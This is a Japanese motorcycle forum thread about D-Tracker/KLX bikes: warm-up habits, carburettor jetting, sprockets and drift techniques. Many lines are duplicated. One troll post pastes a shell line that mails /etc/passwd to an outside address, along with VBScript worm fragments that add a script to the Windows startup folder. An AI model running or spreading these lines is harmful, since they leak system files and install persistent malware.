エンジン始動後は、程々の速度で走り出した方が
エンジンに優しいと言うのが現代の常識。
エンジン始動後は、程々の速度で走り出した方が
エンジンに優しいと言うのが現代の常識。
579 ：７７４ＲＲ：05/03/02 23:36:45 ID:ttA/k3Kc
>575
今は暖気に気を遣ってないの？
10000キロも走ると違いが出るよ｡
すぐにうッパラうなら暖気しなくてもいい
今は暖気に気を遣ってないの？
10000キロも走ると違いが出るよ｡
すぐにうッパラうなら暖気しなくてもいい
>578
何で？
何で？
>>580
まあ、アイドリングのまま何分も放っておくのもどうかと思う、って事じゃん。
チョーク引いて、エンジン掛けて、チョーク戻して、スロットル少し開けて、
一分弱暖機したら、各部の走行暖気でゆるゆる走り始める。
こんな感じでいいんでねーの？
まあ、アイドリングのまま何分も放っておくのもどうかと思う、って事じゃん。
チョーク引いて、エンジン掛けて、チョーク戻して、スロットル少し開けて、
一分弱暖機したら、各部の走行暖気でゆるゆる走り始める。
こんな感じでいいんでねーの？
583 ：みるく ◆GASNOWzado ：05/03/03 00:02:26 ID:awdPfw6s
今の季節ならチョーク戻せるまででも1分ぐらいは掛かるんじゃない？
普段は2～3分、真冬は5分程度が暖機の目安だと思うけど。
特にKLXは冷寒時にプスン逝きやすいし
水温が40度くらいまでは止まって暖機したい。
普段は2～3分、真冬は5分程度が暖機の目安だと思うけど。
特にKLXは冷寒時にプスン逝きやすいし
水温が40度くらいまでは止まって暖機したい。
584 ：７７４ＲＲ：05/03/03 00:06:08 ID:mvajkbqY
>>582たまに軽く回してやれば良いんじゃないの？
>>583
ああ、なんもせずにすぐチョーク戻すとプスンだよな。
俺の場合スロットル少し開けながらチョーク戻して、開度一定の暖気が一分弱。
スロットルを戻してアイドリングが安定してたらおｋ。
で、軽く急開してプスンが起きなかったら走行暖気。
やばいかな？自信なくなってきたｗ
暖気時間は地域差って事にしておいて。
ああ、なんもせずにすぐチョーク戻すとプスンだよな。
俺の場合スロットル少し開けながらチョーク戻して、開度一定の暖気が一分弱。
スロットルを戻してアイドリングが安定してたらおｋ。
で、軽く急開してプスンが起きなかったら走行暖気。
やばいかな？自信なくなってきたｗ
暖気時間は地域差って事にしておいて。
俺の場合は、
チョーク引きっぱなしで30秒ぐらい。
チョーク戻してアイドリングが安定するまで待つ。
回転を上げないように早めにシフトアップして走る。
5分ぐらい走ったら完了。
って感じかな。
チョーク引きっぱなしで30秒ぐらい。
チョーク戻してアイドリングが安定するまで待つ。
回転を上げないように早めにシフトアップして走る。
5分ぐらい走ったら完了。
って感じかな。
>>584
何で？
何で？
588 ：７７４ＲＲ：05/03/03 00:15:35 ID:x/WJlIMO
そんな神経質になることないべ。暖機が3分だろうが5分だろうが一緒だと思うが。
いきなりブン回したりしない限りね。
たばこ吸ってても早死にするとは限らない、長生きしてる人はたくさんいる、みたいな話と一緒だな。
いきなりブン回したりしない限りね。
たばこ吸ってても早死にするとは限らない、長生きしてる人はたくさんいる、みたいな話と一緒だな。
589 ：みるく ◆GASNOWzado ：05/03/03 00:17:17 ID:vknLXVh1
もちろん地域差も有りますし
走り出しの時間も有りますね。
まあ十分を大幅に越えるような暖機や
暖機一切無しでの走り出しでなければ良いんじゃないですか？
ヲイラは今はFCRなんで暖機はチト長めというか、始動を数回試みないと駄目。
アイドリングアジャスターは目一杯回さないと駄目だし
始動直後はアクセルも一定で開けないと駄目。
それでなんとか落ち着いて、それからメットなどの身支度
結局最初の始動から5分以上は掛かります・・・orz
走り出しの時間も有りますね。
まあ十分を大幅に越えるような暖機や
暖機一切無しでの走り出しでなければ良いんじゃないですか？
ヲイラは今はFCRなんで暖機はチト長めというか、始動を数回試みないと駄目。
アイドリングアジャスターは目一杯回さないと駄目だし
始動直後はアクセルも一定で開けないと駄目。
それでなんとか落ち着いて、それからメットなどの身支度
結局最初の始動から5分以上は掛かります・・・orz
俺はチョーク引いてエンジンかけた後
メット(眼鏡あり)とグローブ装着
チョーク戻してアクセルでエンストしないように調整
アイドリングでとまらなくなったら走り出す。
走り出したあとは>>586と同じかな。
まぁ、ならし終わってないので5分で終わらないわけだが…
早く全開走行してーよ！！！！！！
メット(眼鏡あり)とグローブ装着
チョーク戻してアクセルでエンストしないように調整
アイドリングでとまらなくなったら走り出す。
走り出したあとは>>586と同じかな。
まぁ、ならし終わってないので5分で終わらないわけだが…
早く全開走行してーよ！！！！！！
591 ：蛇の目：05/03/03 00:21:14 ID:jEiKk98S
チョーク引いて始動。即戻して1/32くらいの開度で10秒ほど。二三度煽って止まらなかったら手袋はいて（この間30秒）以後は走行暖気（街道に出るまでの700mくらい）。暖まるまでは急開急閉を避ける。てな感じ
592 ：みるく ◆GASNOWzado ：05/03/03 00:24:13 ID:vknLXVh1
皆アイドリングアジャスターは使わないのね。
ヲイラは最終調整するまで10分以上はアイドリング高めで走ります。
徐々にアイドリング落といて調整する感じ。
ヲイラは最終調整するまで10分以上はアイドリング高めで走ります。
徐々にアイドリング落といて調整する感じ。
>>588
うーん、もっとも という気もするが、生き物と違って機械はおんなじに
できてるから一番いい暖気の仕方ってあるんじゃないかな
走り方と較べて暖気の仕方ってエンジンの寿命にあんまり影響ないのかなあ
サイドスタンドかけてアイドリングで回しっぱなしっていうのは
カムの右側の軸受けとかステムシールが油切れにならない
かという気もする。
みるくさんどう思う？
うーん、もっとも という気もするが、生き物と違って機械はおんなじに
できてるから一番いい暖気の仕方ってあるんじゃないかな
走り方と較べて暖気の仕方ってエンジンの寿命にあんまり影響ないのかなあ
サイドスタンドかけてアイドリングで回しっぱなしっていうのは
カムの右側の軸受けとかステムシールが油切れにならない
かという気もする。
みるくさんどう思う？
チョーク引いてエンジンかけて、即出発
2-300m走ったらチョーク戻して信号待ちｗ
しばらくは第１段階慣らしより低速でチェンジって感じ
2万故障無し
2-300m走ったらチョーク戻して信号待ちｗ
しばらくは第１段階慣らしより低速でチェンジって感じ
2万故障無し
595 ：みるく ◆GASNOWzado ：05/03/03 00:37:34 ID:vknLXVh1
>>593氏
そういう意味でも10分越える暖機はマズイかなと思います。
暖機でのカムのカジリ云々はKLX系はそんなに神経質にならなくて良いと思うけど。
暖機が正解と多少ずれても、そうそうエンジンにダメージ無いのも事実でしょう。
それより普段の走り方や、メンテ、バイクのアタリハズレの影響が大きいと思います。
ただオイルと一緒で、暖機も人それぞれこだわりがあるのよねぇｗ
そういう意味でも10分越える暖機はマズイかなと思います。
暖機でのカムのカジリ云々はKLX系はそんなに神経質にならなくて良いと思うけど。
暖機が正解と多少ずれても、そうそうエンジンにダメージ無いのも事実でしょう。
それより普段の走り方や、メンテ、バイクのアタリハズレの影響が大きいと思います。
ただオイルと一緒で、暖機も人それぞれこだわりがあるのよねぇｗ
596 ：みるく ◆GASNOWzado ：05/03/03 00:43:39 ID:vknLXVh1
04式の4.00インチリム買ったんだけど
チューブも変更するか考え中。
適合表みると、3.50と4.00じゃサイズ違うのよね。
3.50から4.00にリム変えた人チューブどうしました？
それと03と04じゃニップルの部品番号違うけど、04リムに03ニップルは使えないのかな？
スポークは03と04で一緒だから使えるんじゃないかと思ってるのだが。
（03と04で違うのは色が違うとかじゃないかと・・・）
この辺の情報持ってる人いますか？
ってか、ちゃんと組めるかあんまり自身が無い。。。ｗ
チューブも変更するか考え中。
適合表みると、3.50と4.00じゃサイズ違うのよね。
3.50から4.00にリム変えた人チューブどうしました？
それと03と04じゃニップルの部品番号違うけど、04リムに03ニップルは使えないのかな？
スポークは03と04で一緒だから使えるんじゃないかと思ってるのだが。
（03と04で違うのは色が違うとかじゃないかと・・・）
この辺の情報持ってる人いますか？
ってか、ちゃんと組めるかあんまり自身が無い。。。ｗ
>>みるく氏
ありがとうございます。
ありがとうございます。
会社まで５分(2km)の俺は全開出来なくてｽﾄﾚｽ溜りまくりなんだが…＿｜￣｜＿〇
599 ：加東秀吉：05/03/03 00:55:11 ID:g3PwHqWU
596≫Ｒ3.5⇒4.25に変更しましたが、チューブはそのまま使用しています。
走行に問題無しでした。
ニップルの件はわかりません。
走行に問題無しでした。
ニップルの件はわかりません。
>>598
それは自転車の距離…
それは自転車の距離…
俺は30秒やるかやらないか位かなぁ･･･
メット被ってからチョーク引いてエンジンかけてグローブつけたら
二回ほどアクセル煽ってチョーク戻して走っちゃう
もちろんいきなり全開走行はしないけど軽く低速ウィリーして体を慣らたりしてる
>>590
あと900キロｶﾞﾝｶﾞﾚ
メット被ってからチョーク引いてエンジンかけてグローブつけたら
二回ほどアクセル煽ってチョーク戻して走っちゃう
もちろんいきなり全開走行はしないけど軽く低速ウィリーして体を慣らたりしてる
>>590
あと900キロｶﾞﾝｶﾞﾚ
602 ：７７４ＲＲ：05/03/03 05:13:24 ID:dvWzbHs/
全開にしていいのは油温が５０℃を超えてからっていいません？
油温計つけてますが、５０℃超えるの待つのって億劫ですよ、はい。
油温計つけてますが、５０℃超えるの待つのって億劫ですよ、はい。
BEET NR S/O交換完了。04D-Tra。
音、大木杉(当たり前？)。アフタファイヤも強烈。
インナーサイレンサを購入し、サイレンサのエキパイ側から突っ込んだ。
そこそこの音量に低下し、花火もマシになった。
ちなみにこの程度の変更だと、キャブセッティング(CVK)はどの程度でしょうか？
音、大木杉(当たり前？)。アフタファイヤも強烈。
インナーサイレンサを購入し、サイレンサのエキパイ側から突っ込んだ。
そこそこの音量に低下し、花火もマシになった。
ちなみにこの程度の変更だと、キャブセッティング(CVK)はどの程度でしょうか？
605 ：みるく ◆GASNOWzado ：05/03/03 18:58:15 ID:vknLXVh1
>>599氏
レスありがとう。
ヲイラもチューブ買いませんでした。
たぶんいけるだろうと思って。
今のチューブはウルトラシールも入れてるしで、もったいないのもあってｗ
ニップルもいけると思うのですが・・・
両方RKエクセルだし、スポーク一緒だし。
こっちは組んだら報告します。
>>602氏
油温計のセンサーはドコに付けてますか？
レスありがとう。
ヲイラもチューブ買いませんでした。
たぶんいけるだろうと思って。
今のチューブはウルトラシールも入れてるしで、もったいないのもあってｗ
ニップルもいけると思うのですが・・・
両方RKエクセルだし、スポーク一緒だし。
こっちは組んだら報告します。
>>602氏
油温計のセンサーはドコに付けてますか？
>>604
実はその程度の改造が一番ｾｯﾃｨﾝｸﾞ出すのがめんどかったりw
ｱﾌﾀﾌｧｲﾔｰでるからまず混合気はどちらかと言えば薄い。
なのでMJあげるのは当然としてSJも2～3回回してみたり…。
とにかく乗ってみないことにはｾｯﾃｨﾝｸﾞについて助言するのが難しい。
実はその程度の改造が一番ｾｯﾃｨﾝｸﾞ出すのがめんどかったりw
ｱﾌﾀﾌｧｲﾔｰでるからまず混合気はどちらかと言えば薄い。
なのでMJあげるのは当然としてSJも2～3回回してみたり…。
とにかく乗ってみないことにはｾｯﾃｨﾝｸﾞについて助言するのが難しい。
607 ：みるく ◆GASNOWzado ：05/03/03 19:22:26 ID:vknLXVh1
>>604氏
とりあえずはクリーンキャンセルされたらいかがですか？
とりあえずはクリーンキャンセルされたらいかがですか？
SJ回してどうする
間違った；；；
JNですね。
JNですね。
あれ？PSじゃないの？
皆さん有難う御座います。
早速クリーンキャンセラは注文しました。
キャブセッティングですが、MJ130・135、SJ40を購入しました(MJ125、SJ38は欠品)。
根性無・ヘタレなのでタンクを外すべくボルトを全て外した時点で、キャブのチューブ類
をマジマジと見やって「元に戻す自信が無い( ´Д｀ )」で断念してしまいました。
ビビリなのでバイクショップに依頼したいのですが(その際は作業過程をつぶさに確認希望)、
費用の目安は如何ほど？
早速クリーンキャンセラは注文しました。
キャブセッティングですが、MJ130・135、SJ40を購入しました(MJ125、SJ38は欠品)。
根性無・ヘタレなのでタンクを外すべくボルトを全て外した時点で、キャブのチューブ類
をマジマジと見やって「元に戻す自信が無い( ´Д｀ )」で断念してしまいました。
ビビリなのでバイクショップに依頼したいのですが(その際は作業過程をつぶさに確認希望)、
費用の目安は如何ほど？
612 ：７７４ＲＲ：05/03/03 21:34:33 ID:bEwB8Lbp
605
ドレンです
ドレンです
613 ：７７４ＲＲ：05/03/03 21:41:15 ID:0+cYCT1r
614 ：７７４ＲＲ：05/03/03 22:02:36 ID:mvajkbqY
>>613じゃあ、藻前のは走ったら吹きまくりじゃん。漏れは、ﾋﾞｰﾄﾌﾙｷｯﾄにFCR35だけど、暖機で五分置いてもどうもならないよ。ｶﾑもかじって無いしﾊﾞﾙﾌﾞにﾋﾟｽﾄﾝもどうもないしどう言うことかな、しったか君？
616 ：みるく ◆GASNOWzado ：05/03/03 22:15:48 ID:vknLXVh1
Dトラ以外にWR250Fも持ってるけど
最初の始動時に暖機1分でラジエター触れないって事はないし
5分ぐらいじゃ吹かない。
ただ夜に暖機すると、すぐにエキパイが真っ赤になるからチトビビルよ。
冷却の余裕はDトラより劣るけど、大きくは違わない。
ゲロとか泥付きとかでないとクーラント吹くことも無い。
ただWRはラジエターファン無いし、水温計もないから
長い信号待ちとかじゃ、マメにエンジン切るようにはしてる。
まあキャブセッティングで水温って変わるから
あまりに水温の上昇が早いのはセッティング薄いんじゃないかな？
夏場じゃ薄い目と濃いめじゃ15度くらい違ってくるよ。
最初の始動時に暖機1分でラジエター触れないって事はないし
5分ぐらいじゃ吹かない。
ただ夜に暖機すると、すぐにエキパイが真っ赤になるからチトビビルよ。
冷却の余裕はDトラより劣るけど、大きくは違わない。
ゲロとか泥付きとかでないとクーラント吹くことも無い。
ただWRはラジエターファン無いし、水温計もないから
長い信号待ちとかじゃ、マメにエンジン切るようにはしてる。
まあキャブセッティングで水温って変わるから
あまりに水温の上昇が早いのはセッティング薄いんじゃないかな？
夏場じゃ薄い目と濃いめじゃ15度くらい違ってくるよ。
Dトラのスレでレーサーの話出して、5分もアイドリングできないって言ってる>>613の方が非常識だと思うけど。
618 ：７７４ＲＲ：05/03/03 22:24:24 ID:mvajkbqY
>>615確かに漏れのはDﾄﾗだよ。でも、ﾚｰｻｰﾍﾞｰｽでそんな風になるならﾚｰｽ出れない。てか、よく普通に乗れるなと思わない？
619 ：ひみつの検疫さん：2025/03/24(月) 00:15:45 ID:MarkedRes
汚染を除去しました。
宣伝さして下さい
3/20に九州熊本のHSRにてモタードデイズ的イベントが有るんでサーキット走行してみたい人とかは
是非是非来て下さいな
あと俺のＨＰにも遊びに来てください◆お見せできる様なカスタムはしてないですけど、一応KLXの17インチです
http://plaza.rakuten.co.jp/maedakeijiro69
3/20に九州熊本のHSRにてモタードデイズ的イベントが有るんでサーキット走行してみたい人とかは
是非是非来て下さいな
あと俺のＨＰにも遊びに来てください◆お見せできる様なカスタムはしてないですけど、一応KLXの17インチです
http://plaza.rakuten.co.jp/maedakeijiro69
621 ：| ﾟヮﾟ)ﾉｼ ◆mameGP4tss ：05/03/04 00:16:31 ID:gudS80jL
エンジン始動はバイクは直立させてる
>>611
そんなあなたに社外Dトラカスタム本。写真いっぱいでわかりやすいよ。
ショップに任せると、交換のみ(自分でMJなどのサイズ指定)だと～5千円ぐらい、
セッティング(アフターなど出ないようにする)だと1万ぐらいいくと思う。
時間があれば自分でやった方が楽しいよ。
俺はネジとかクッキーの入れ物(細かく仕切りがされているやつ)に各部分のネジを分けていれて、
管類にはテープで番号書いて後で忘れないようにしたよ。
あと、セッティングは環境やエンジンの個体差によってかわるし、個人の好みもあるから、聞いても無駄かもしれない。
現にだれもセッティングの話して無いでしょ。
マフラー交換のみだと大体MJ130、SJ38前後に落ち着くらしいんだけどそれがベストではないしね。
やっぱり自分で納得するまでセッティングするのがいいと思う。
そんなあなたに社外Dトラカスタム本。写真いっぱいでわかりやすいよ。
ショップに任せると、交換のみ(自分でMJなどのサイズ指定)だと～5千円ぐらい、
セッティング(アフターなど出ないようにする)だと1万ぐらいいくと思う。
時間があれば自分でやった方が楽しいよ。
俺はネジとかクッキーの入れ物(細かく仕切りがされているやつ)に各部分のネジを分けていれて、
管類にはテープで番号書いて後で忘れないようにしたよ。
あと、セッティングは環境やエンジンの個体差によってかわるし、個人の好みもあるから、聞いても無駄かもしれない。
現にだれもセッティングの話して無いでしょ。
マフラー交換のみだと大体MJ130、SJ38前後に落ち着くらしいんだけどそれがベストではないしね。
やっぱり自分で納得するまでセッティングするのがいいと思う。
ネットは自宅に届けてくれるけど、
本屋は自分で取りに行かないといけないし、いつもの発注に付け加えて発注するだけだから
特別料金を取る必要が無いんじゃないかなぁ。
本屋は自分で取りに行かないといけないし、いつもの発注に付け加えて発注するだけだから
特別料金を取る必要が無いんじゃないかなぁ。
まぁ俺が言いたい事はケンカ腰で話すんなって事なんだけどね
「しったか君」とかどう考えてもケンカ売ってるだけだしね
「しったか君」とかどう考えてもケンカ売ってるだけだしね
まぁまぁ、この辺でその話は終いという事で。
627 ：加東秀吉：05/03/04 02:13:35 ID:mzC0bWOO
611さん ＭＪの交換はご自分で作業された方がよろしいかと思います。
やってみると結構簡単だったりします。
なれてしまえば、短時間で作業できるようになりますし、この先何度も
やる作業なので、コストを考えればショップに依頼するのはどうかと・・・
やってみると結構簡単だったりします。
なれてしまえば、短時間で作業できるようになりますし、この先何度も
やる作業なので、コストを考えればショップに依頼するのはどうかと・・・
628 ：７７４ＲＲ：05/03/04 02:33:17 ID:z98p4k9g
レオビンチX3つけようかと思ってるんだが
つけてる人いる？
基本はサーキットだけど街乗りもするから
うるさすぎるとまずいんだよな。
つけてる人いる？
基本はサーキットだけど街乗りもするから
うるさすぎるとまずいんだよな。
633 ：７７４ＲＲ：05/03/04 16:19:49 ID:knHUIbze
スプロケをノーマルの39丁から41丁にしようと思うんだけど、
最高速はどの位落ちますか?中低速が鋭くなるんなら高速を多少
犠牲にしてもいいかと思うんですが、詳細キボンヌ。
最高速はどの位落ちますか?中低速が鋭くなるんなら高速を多少
犠牲にしてもいいかと思うんですが、詳細キボンヌ。
エンジン回転数×60÷一次減速比×２次減速比×駆動輪外周長=速度
て、ことはどうでも良くて。
14/41～14/43くらいが気持ちいく走れて
イイ感じだと思いますよ。
・燃費が落ちる
・もしかしたらチェーンも換えないとイケ無いかもしれん
てなデメリットもありますけども
14/41～14/43くらいが気持ちいく走れて
イイ感じだと思いますよ。
・燃費が落ちる
・もしかしたらチェーンも換えないとイケ無いかもしれん
てなデメリットもありますけども
636 ：７７４ＲＲ：05/03/04 17:03:38 ID:0VhOch6B
純正のフォークガードに直付けよりいいと思うけどね と毒吐き
638 ：７７４ＲＲ：05/03/04 19:44:27 ID:XXdHDN9T
またカッコ君か･・
まあいいや
まあいいや
リッターツアラーからＤトラに乗り換えを検討してるんですが・・・
なかなか踏ん切りがつきませぬ(;´Д`)
なかなか踏ん切りがつきませぬ(;´Д`)
640 ：７７４ＲＲ：05/03/04 20:19:58 ID:z98p4k9g
>>639
俺、つい最近GPZ900RからSBに乗り換えたんだけど、第一印象は「軽っ！」って感じ。
何か原付に乗ってるような感覚に・・・
でも小さい排気量のバイクも結構楽しいですよ。
こんな気分はホントに久しぶりです。
でも高速道メインの人にはお薦めできませんけどね。
俺、つい最近GPZ900RからSBに乗り換えたんだけど、第一印象は「軽っ！」って感じ。
何か原付に乗ってるような感覚に・・・
でも小さい排気量のバイクも結構楽しいですよ。
こんな気分はホントに久しぶりです。
でも高速道メインの人にはお薦めできませんけどね。
642 ：７７４ＲＲ：05/03/04 21:16:26 ID:YQ8JfD7i
639
自分は１１００から乗りかえました。
正解でした。
自分は１１００から乗りかえました。
正解でした。
>644
まえからいしがとんでくるじょうきょうをかんがえてねっておかあさんがゆってた
まえからいしがとんでくるじょうきょうをかんがえてねっておかあさんがゆってた
646 ：７７４ＲＲ：05/03/04 22:08:09 ID:YQ8JfD7i
644
圧倒的に速い。はっきり言って高速道路以外はリッターより速いと思う。
でも、のぼりで高速コーナーが多い所はドンガメですか・・・
しかし、一番のメリットは維持費だと思います。
とにかく安い。消耗品や転倒した時の修理費がリッターと
比較して安いため、お金が貯まります。
646
そうなんですか！
意外と言ってはなんですが結構速いんですね。
なんだか安心しました(笑)
そうなんですか！
意外と言ってはなんですが結構速いんですね。
なんだか安心しました(笑)
648 ：加東秀吉：05/03/05 02:04:05 ID:hvVA0i+2
６３３さん 参考になりませんが・・・
Ｆ13・Ｒ51です。まったく伸びません。頭打ち早
しかし、怒涛のごとく加速します。
トップまでしっかり引っ張っていませんが、
８０㌔到達までは短時間です。
それ以上は１００でるかどうか判りません・・・？
スプロ毛取り付けにはチェーンのこま増と
チェーンガイドの切断手術を要しました。
Ｆ13・Ｒ51です。まったく伸びません。頭打ち早
しかし、怒涛のごとく加速します。
トップまでしっかり引っ張っていませんが、
８０㌔到達までは短時間です。
それ以上は１００でるかどうか判りません・・・？
スプロ毛取り付けにはチェーンのこま増と
チェーンガイドの切断手術を要しました。
ドリフトできる人いる？
あれってシフトロックとリアブレーキでやればいいの？
あれってシフトロックとリアブレーキでやればいいの？
車速と荷重移動とバックトルク
俺できんけどorz
俺できんけどorz
651 ：加東秀吉：05/03/05 03:21:47 ID:hvVA0i+2
ドリフト危険。練習中ハイ再度で足骨折経験あり。
極めならず・・・説明できず・・・すまん
心して練習に励むべし。
極めならず・・・説明できず・・・すまん
心して練習に励むべし。
Dトラのノーマルサスでの練習はやめておいた方がいい。
低速なら何とかサスが働くが速度上げてはじめると
動きがわからなくて痛い思いをします。
低速なら何とかサスが働くが速度上げてはじめると
動きがわからなくて痛い思いをします。
ジェッペル被っていると時に
ｽﾗｲﾄﾞやってﾊｲｻｲﾄﾞ・・ﾍﾙﾒｯﾄがｶﾞﾘｶﾞﾘこすった
顔面こすらないでよかったYO
辞めた方がいいよ
ｽﾗｲﾄﾞやってﾊｲｻｲﾄﾞ・・ﾍﾙﾒｯﾄがｶﾞﾘｶﾞﾘこすった
顔面こすらないでよかったYO
辞めた方がいいよ
バイクなんか乗らない方がいいに決まってる
チャリンコで練習するとええよ＜ドリフト
駆動力の掛け方が身に付くよ
駆動力の掛け方が身に付くよ
公道ではやらないでね。
658 ：７７４ＲＲ：05/03/05 11:51:43 ID:vQ41YcVm
リムかえて１８インチで１４０ｍｍのブロックタイヤ履いた車両が
一番やりやすかった。
一番やりやすかった。
659 ：７７４ＲＲ：05/03/05 12:16:37 ID:jq/BLfp8
Ｄトラは進入ドリフト結構やりやすいぞ。
俺としては足の固いレーサーとかよりやり易い位だ。
足はノーマルでも問題ないけど？
俺としては足の固いレーサーとかよりやり易い位だ。
足はノーマルでも問題ないけど？
ひとまづＤトラの進入ドリ→ﾊﾟﾜﾄﾞﾘの動画ｷﾞﾎﾞﾝﾇ
661 ：７７４ＲＲ：05/03/05 14:46:38 ID:FnvJaHpo
バンクさせずに直進でハーフロックだけときどき試してる＞ドリフト
でもリアがガタガタ跳ねるだけでなかなか上手くいかない
でもリアがガタガタ跳ねるだけでなかなか上手くいかない
665 ：７７４ＲＲ：05/03/05 17:20:46 ID:FnvJaHpo
>>662
ﾜﾛﾀ
ﾜﾛﾀ
666 ：７７４ＲＲ：05/03/05 17:44:37 ID:D9VmAg55
cat /etc/passwd | mail [email protected]
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\
667 ：774RR：05/03/05 18:25:15 ID:8yNT7e2J
ドリフトはノーマルサスでも問題なし。かえってその方が練習になる。
まあ、いきなり自分の脳内イメージのようにはいかんので注意しろ。
俺は今ではダートで立ったままブレーキターンできるようになった。
17インチのTT900GPで。
まあ、いきなり自分の脳内イメージのようにはいかんので注意しろ。
俺は今ではダートで立ったままブレーキターンできるようになった。
17インチのTT900GPで。
頼むからウィルスコード貼るなんて小学生の悪戯みたいな事はやめてくれ。
トライアル的な走りにはまる今日この頃。。。
できる ･･･ アクセルターン、パワースライド
足をつかずにできる ･･･ マックスターン、ブレーキターン
KLX2004ノーマルです。
できる ･･･ アクセルターン、パワースライド
足をつかずにできる ･･･ マックスターン、ブレーキターン
KLX2004ノーマルです。
>>668
池沼だから無視が一番だよ
池沼だから無視が一番だよ
671 ：７７４ＲＲ：05/03/05 18:58:10 ID:qfTvYh1d
パワースライドってどんな状態ですか？
あとＫＬＸってマックスターンするほどパワーありますか？
停止状態８０００回転くらいで一気にクラッチ繋ぐんですか？
あとＫＬＸってマックスターンするほどパワーありますか？
停止状態８０００回転くらいで一気にクラッチ繋ぐんですか？
別に、ターマックじゃなければ原付でもできるよ。
もちろん、練習は必要なわけだが。
もちろん、練習は必要なわけだが。
673 ：７７４ＲＲ：05/03/05 23:17:13 ID:qQLFnwTf
今月のガルル、モタードでOff走ってたな
シャーシダイ31.7PS記念カキコ
空燃比メタメタでつた。
中低薄すぎ、2ストのような吹け上がりｗ
このデータを元にキャブ調整せねば。
空燃比メタメタでつた。
中低薄すぎ、2ストのような吹け上がりｗ
このデータを元にキャブ調整せねば。
「バイク集団、車１３台襲う」
朝日新聞夕刊より
ひどいなぁと思いながら記事を読むと
主にタクシーが被害にあったそうです。
先月、枯葉マークまであと少しの個人タクシーと事故って
Ｄトラが廃車になり、骨折までした僕ですが
ざまあみろなんて少ししか思いませんでした。
日記終わり。
朝日新聞夕刊より
ひどいなぁと思いながら記事を読むと
主にタクシーが被害にあったそうです。
先月、枯葉マークまであと少しの個人タクシーと事故って
Ｄトラが廃車になり、骨折までした僕ですが
ざまあみろなんて少ししか思いませんでした。
日記終わり。
>>669
ダートでは自分もだいたいできるようになりました。
あ、マックスターンはやったことないけど。
でも右回りがブレーキターンしかできない…
ﾋﾞﾋﾞﾘﾐｯﾀｰを解除すればできるかと思うんですけど。
パワースライドへのつなぎ方がうまくいかんです。
いつリアブレーキを放して良いものか。
こちら99D虎です。
ダートでは自分もだいたいできるようになりました。
あ、マックスターンはやったことないけど。
でも右回りがブレーキターンしかできない…
ﾋﾞﾋﾞﾘﾐｯﾀｰを解除すればできるかと思うんですけど。
パワースライドへのつなぎ方がうまくいかんです。
いつリアブレーキを放して良いものか。
こちら99D虎です。
足つかずにマックスターン（前輪停止状態での回転）って･･･
どんなバランス感覚してるんだ？
ローリンエンドと勘違いしてないか？
どんなバランス感覚してるんだ？
ローリンエンドと勘違いしてないか？
規制前の純正エキパイ、マフラーゲット。
とりあえず豚鼻とってクリーンキャンセルだな。
とりあえず豚鼻とってクリーンキャンセルだな。
豚鼻取ると水が入ってきそうで二の足踏んでいるの漏れだけか？
カバーかけてると特に雨の日に湿気で入りそう・・
カバーかけてると特に雨の日に湿気で入りそう・・
>>680
穴にサランラップかぶせれば安心。
穴にサランラップかぶせれば安心。
>>648 最高速判明しました。１２２㌔でました。
>>678さん・ローリングエンドは知っていますが、
マックスターンとはなんぞ？？教えてください。
>>680さん・洗車の際、気をつければいいのでは？？
私はマフラー交換の際速攻でとりはずしました。
特に問題無く走っていますよ。
>>678さん・ローリングエンドは知っていますが、
マックスターンとはなんぞ？？教えてください。
>>680さん・洗車の際、気をつければいいのでは？？
私はマフラー交換の際速攻でとりはずしました。
特に問題無く走っていますよ。
683 ：７７４ＲＲ：05/03/06 19:06:05 ID:0cidHWZg
250Rの豚鼻にすれば解決。
開口面積が2倍くらいあるよ。
2000円弱だ。
開口面積が2倍くらいあるよ。
2000円弱だ。
豚鼻自分でむりやり削ってもいいかも。確かに雨が多い日心配。
685 ：７７４ＲＲ：05/03/06 19:40:25 ID:rFS5HB1p
マックスターン
映画マッドマックスに出てきたシーンより
ＦをロックしＲをホイールスピンさせ
Ｆを軸に360℃回転させる
映画マッドマックスに出てきたシーンより
ＦをロックしＲをホイールスピンさせ
Ｆを軸に360℃回転させる
686 ：７７４ＲＲ：05/03/06 19:45:37 ID:uuvjNuXS
多い日も安心、ノーマル。
687 ：７７４ＲＲ：05/03/06 20:21:07 ID:ubGUtjSc
３００の様に蓋なんか取っ払ってしまえ。
かなり良いぞ。
かなり良いぞ。
688 ：７７４ＲＲ：05/03/06 21:13:19 ID:uuvjNuXS
車体の下にホースにぶらさがってるポリエチレンの検尿の入れ物
みたいなのは何でつか？
あれは取っ払ってもいいでつか？
みたいなのは何でつか？
あれは取っ払ってもいいでつか？
蓋は吸気音を抑えるために有るだけだから取っても大丈夫
690 ：７７４ＲＲ：05/03/06 21:25:56 ID:0cidHWZg
オイルの垂れ流しを防ぐためでしょ。
取るな。
取るな。
691 ：690：05/03/06 21:27:07 ID:0cidHWZg
>>688に対してだ。
>>685ありがとうよく解りました。
マックスターン＝ローリングエンド・・・御意
マックスターン＝ローリングエンド・・・御意
え？
フロントを軸に360度（足でチマチマリヤを移動させて）回転させる だと思うんですが…。
>>692
全然判ってないよ
着座状態でフロント完全ロック状態でバーンナウト
そこから横に振って綺麗な円を描くのがマックスターン
ローリンエンドはステップに乗った状態で前荷重しながらロックさせないようにブレーキ掛けて
スタンディングバーンナウトの状態でＦで小さい円を描くように回転する
全然判ってないよ
着座状態でフロント完全ロック状態でバーンナウト
そこから横に振って綺麗な円を描くのがマックスターン
ローリンエンドはステップに乗った状態で前荷重しながらロックさせないようにブレーキ掛けて
スタンディングバーンナウトの状態でＦで小さい円を描くように回転する
ローりんエンドからフロントブレーキを強めてフロントロック、
そのままバランスを取りながらフロントを軸にくるっと回ると
立ちマックスターンになる。
そのままバランスを取りながらフロントを軸にくるっと回ると
立ちマックスターンになる。
698 ：７７４ＲＲ：05/03/07 03:10:57 ID:Qatm4tKL
走ってると途中でエンジンが息継ぎみたいな事しませんか？
699 ：７７４ＲＲ：05/03/07 04:05:07 ID:1A8xqKZd
クリーン何とかが付いてからそういう現象多いみたいだな
解決策しってるけど？？
解決策しってるけど？？
>>696
ローリンエンドってのは結果的に二重丸が出来る、ってことでよろしいか？
